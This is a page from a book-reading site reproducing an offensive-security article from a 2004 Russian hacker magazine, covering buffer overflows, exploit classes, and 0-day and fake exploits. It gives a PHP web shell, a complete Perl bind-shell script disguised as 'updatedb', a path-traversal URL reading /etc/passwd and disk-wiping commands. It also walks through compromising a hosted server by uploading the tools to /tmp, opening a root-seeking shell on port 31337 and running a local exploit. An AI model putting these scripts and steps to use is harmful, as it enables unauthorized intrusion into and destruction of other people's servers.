KnigaRead.com/

Хакер - Спецвыпуск журнала «Хакер» #47, октябрь 2004 г.

На нашем сайте KnigaRead.com Вы можете абсолютно бесплатно читать книгу онлайн Хакер, "Спецвыпуск журнала «Хакер» #47, октябрь 2004 г." бесплатно, без регистрации.
Перейти на страницу:

Существует множество различных типов переполнения буфера, соответственно, и причин столько же. Чтобы наглядно показать тебе, каким образом получаются переполнения, я приведу пример.

#include <stdio.h>

int main()

{

char buff[10] = {0}; //как ты видишь, в самом начале все элементы.

// выделенного под переменную буфера представляют 10 нулей.

// видно, что их может быть максимум 10! Т.е. программист рассчитывает, что

// мы введем обязательно десятизначное число.

printf(«Enter your 10-digit number»); // Вводим число…

scanf(buff, «%s»); // А вот мы и добрались до бага, функция scanf в данном

// случае не проверяет длину введенного нами числа. Подумай, куда денется

// еще 10 байт информации, если мы введем не 10, а 20 знаков?

// Правильно, выйдет за пределы буфера.

}

Вот как все легко, а если после 10-го символа вставить shell-код? Более подробно обо всем этом читай в Спеце #08.04(45). Уязвимости в программе возникают из-за невнимательности и халатности программистов. Также в этом есть часть вины самой архитектуры x86. В ближайшем времени компания Intel планирует выпустить процессор с аппаратной защитой от уязвимостей переполнения буфера. Насколько она будет эффективна, мы сможем убедиться в ближайшем будущем, а пока эксплоиты, использующие эти уязвимости, живут и процветают.

Эксплоиты – какие они?

Эксплоиты разделяют на удаленные (remote) и локальные (local). Заметь: «удаленные» (remote) никаким местом не связанны с «удаленными» (erased, removed, deleted). Удаленные сплоиты позволяют использовать баг в сервисе, доступном извне, к которому можно подсоединиться с другой машины посредством локальной сети или интернета. К таким сервисам относится, например, telnetd, ftpd, sshd, pop3d. Чаще всего черви, написанные для ОС *nix, распространяются именно таким способом. То есть они содержат встроенный эксплоит для внешнего сервиса. Если возвратиться к Windows, то самым ярким аналогом является уязвимость в RPC DCOM операционных систем Windows 2000/NT/XP/2003 и червь msblast. Кстати, сообщения о том, что «компьютер будет перезагружен через xx секунд», – результат кривого переполнения буфера, вызванного непродуманным алгоритмом действий червячка. Эти эксплоиты зачастую более желанные для хакера, потому что для их использования чаще всего не требуется иметь никакого доступа к атакуемой машине. Совершенно другая ситуация с локальными эксплоитами: они позволяют использовать брешь в приложении или в компоненте операционной системы, не имеющем прямого доступа к интернету. Ярким примером этого могут служить ядерные баги – ptrace и do(brk).

Ты знаешь об уязвимостях в web-скриптах, которые можно использовать прямо из адресной строки браузера, например «http://www.vulnhost.hu/vulnscript.php?page=../../../../etc/passwd»? Так вот, после того как ты все это набрал, как думаешь, чем это стало? Эксплоитом! То есть исходя из определения эксплоитом для скрипта «vulnscript.пхп» является «?page=../../../../etc/passwd».

Помимо такого деления эксплоиты можно разбить и на классы по их действиям.

CLASS’ные эксплоиты

Некорректно говорить, что эксплоиты приводят к тому-то и тому-то. На самом деле, они просто переполняют буфер, а какие-либо действия выполняет shell-код. Именно от содержания shell-кода зависит то, что произойдет при успешном выполнении атаки: откроется порт, выполнится команда или сервер уйдет в даун.

Откровенно говоря, классов эксплоитов много. Я познакомлю тебя с двумя.

DOS Shellcode Xploits

Чаще всего, эти эксплоиты удаленного действия. Целью, которую преследует хакер, натравливая такую штуку на уязвимый сервер, является выведение из строя атакуемого сервиса или всей операционной системы (да-да, бывают такие случаи, когда повешенный демон забирает с собой всю ОС). С каждым днем происходит все больше таких атак. Почему? Потому что тем, кто заказывает эти атаки, не нужна информация с сервера. Цель таких атак, как правило, банальное лишение конкурента дееспособности. Согласись, атаковать уязвимый сервис, подверженный DOS-атаке, проще, чем натравливать целую армию компьютеров на произведение ICMP– и подобных ей атак, действующих не проработанным принципом, а количеством. Второй причиной является то, что иногда, для того чтобы насолить врагу, достаточно DOS-атаки, а не rm –rf / (мне больше нравится cat /dev/urandom > /dev/hda – прим. Аваланча), а уязвимостей, позволяющих произвести убойную атаку, гораздо больше, чем тех, которые позволяют получить доступ. Это происходит потому, что часто переполнить буфер бывает достаточно легко, а впарить shell-код так, чтобы он выполнился как задумано, очень сложно, а порой даже нереально, так как в дырявой программе все-таки существует какая-то вредная проверка на вшивость.

Remote shell shellcode Xploits

Об этом классе эксплоитов я тоже уже успел упомянуть. После успешной атаки на уязвимую машину они открывают на ней порт, к которому можно подконнектиться и получить долгожданный shell с рутовыми правами. При этом в большинстве случаев тебе не придется пользоваться всеми удобствами /bin/bash: ты будешь юзать стандартный /bin/sh, так как именно его чаще всего вызывают shell-коды и именно он есть практически на всех машинах с *nix-системами на борту. Но не думай, что через этот порт всегда можно ходить в систему. Он легко убивается администратором, смывается ребутом или просто сам по себе отпадает после того, как от него отключишься.

Кто был никем, тот станет всем

Для исполнения локального эксплоита требуется хотя бы shell с правами nobody. А как его можно получить? Вот об этом я сейчас и расскажу.

Для начала понадобится доступ к одному из сайтов, которые хостятся на сервере. Это может быть FTP или дырявый web-скрипт, позволяющий выполнять команды (с помощью него мы не сможем полноценно запустить эксплоит, но сможем залить кое-что). Если FTP есть, а команды мы выполнять не можем, надо исправить эту оплошность, залив на сервер (сервер должен поддерживать PHP) такой скрипт:

<? system($cmd) ?>

Такая вот «малютка» умеет выполнять команды через запрос: www.target.com/cmd.php?cmd=команда.

Теперь нам потребуется realtime-доступ к /bin/sh, который нам предоставит нижерасположенный скрипт:

Potbind.pl

#!/usr/bin/perl

$port = 31337;

exit if fork;

$0 = «updatedb» . « « x100;

$SIG{CHLD} = 'IGNORE';

use Socket;

socket(S, PFINET, SOCKSTREAM, 0);

setsockopt(S, SOLSOCKET, SOREUSEADDR, 1);

bind(S, sockaddrin($port, INADDRANY));

listen(S, 50);

while(1){

accept(X, S);

unless(fork)

{ open STDIN, «<&X»;

open STDOUT, «> &X»;

open STDERR, «> &X»;

close X;

exec(«/bin/sh»);

} close X;}

После выполнения он откроет порт с shell’ом nobody, а пока сохраним его как bind.txt и зальем куда-нибудь на narod.ru. В случае с narod.ru нет необходимости называть его *.txt, можно сразу определить его как bind.pl, так как на Народе нет поддержки perl и скрипт сольется таким, каким он должен быть. А если на сервере есть поддержка perl, он загрузится в виде html-страницы, с результатами его выполнения. Но .txt он и в Африке .txt. Поэтому лучше назовем его так :). Эксплоит заливаем туда же.

Теперь, когда все готово, заливаем bind.txt и exploit.c через cmd.php командой wget или fetch для Linux или FreeBSD соответственно. Можно залить и с помощью сценария FTP (уж ftp есть везде). Заливать bind.txt и эксплоит желательно в /tmp. Теперь нам понадобится запустить bind.txt, для чего выполним через cmd.php такую команду: www.target.com/cmd.php?perl%20/tmp/bind.txt. Этим мы запустим скрипт bind.txt, который откроет для прослушивания порт 31337, где будет висеть shell с правами nobody. Теперь не помешало бы скомпилить сплоит. Делается обычно это так: gcc /tmp/exploit.c –o /tmp/exploit. Теперь телнетимся на 31337 порт target.com. В данном случае, если нет желания ставить «;» после каждой команды и видеть все более приглядно, можно использовать netcat (http://nsd.ru/soft/nc11nt.zip). Синтаксис таков: nc.exe target.com 31337. Теперь выполняем эксплоит… После каждой команды не забываем ввести «;» (если ты поленился юзать netcat и юзаешь обыкновенный telnet). Например, чтобы выполнить команду ls /tmp, надо ввести «ls /tmp;».

0-day, Private и Fake Xploits

Private Xploits – личные эксплоиты. О них никто ничего не знает, кроме автора и узкого круга его друзей. Иногда случаются утечки, и личное превращается в общее, называющееся 0-day, 0-day xploits – это новинки. Приватные и 0-day эксплоиты очень ценятся, потому что создатели программного обеспечения еще не подозревают об ошибке и в сети находятся сотни, тысячи, миллионы машин с этой уязвимостью, о которой почти никто не знает. Одним словом, это величайший рулез. Прикинь, какой можно создать ботнет, если уязвимость распространенная, а хакеров, которые о ней знают, всего несколько?

Отдельно стоит поговорить о fake-эксплоитах, которые все чаще и чаще встречаются. Фэйки – это, по сути, обман, который иногда бывает безвредным, а в некоторых случаях содержит в себе выгоду для создателя, например, добавляет еще одного зомби в его ботнет, а на экран использующего ее закера выдает сообщение о том, что система не подвержена атаке, или просто Segmentation Fault. Core dumped ;). Существуют целые группы, которые промышляют продажей якобы «0-day», за которыми на самом деле скрываются фейки. Их нужно опасаться и перед использованием эксплоита внимательно изучить исходник. Если он содержит шестнадцатеричные вставки, нужно расшифровать их, ибо за ними может скрываться троян.

Перейти на страницу:
Прокомментировать
Подтвердите что вы не робот:*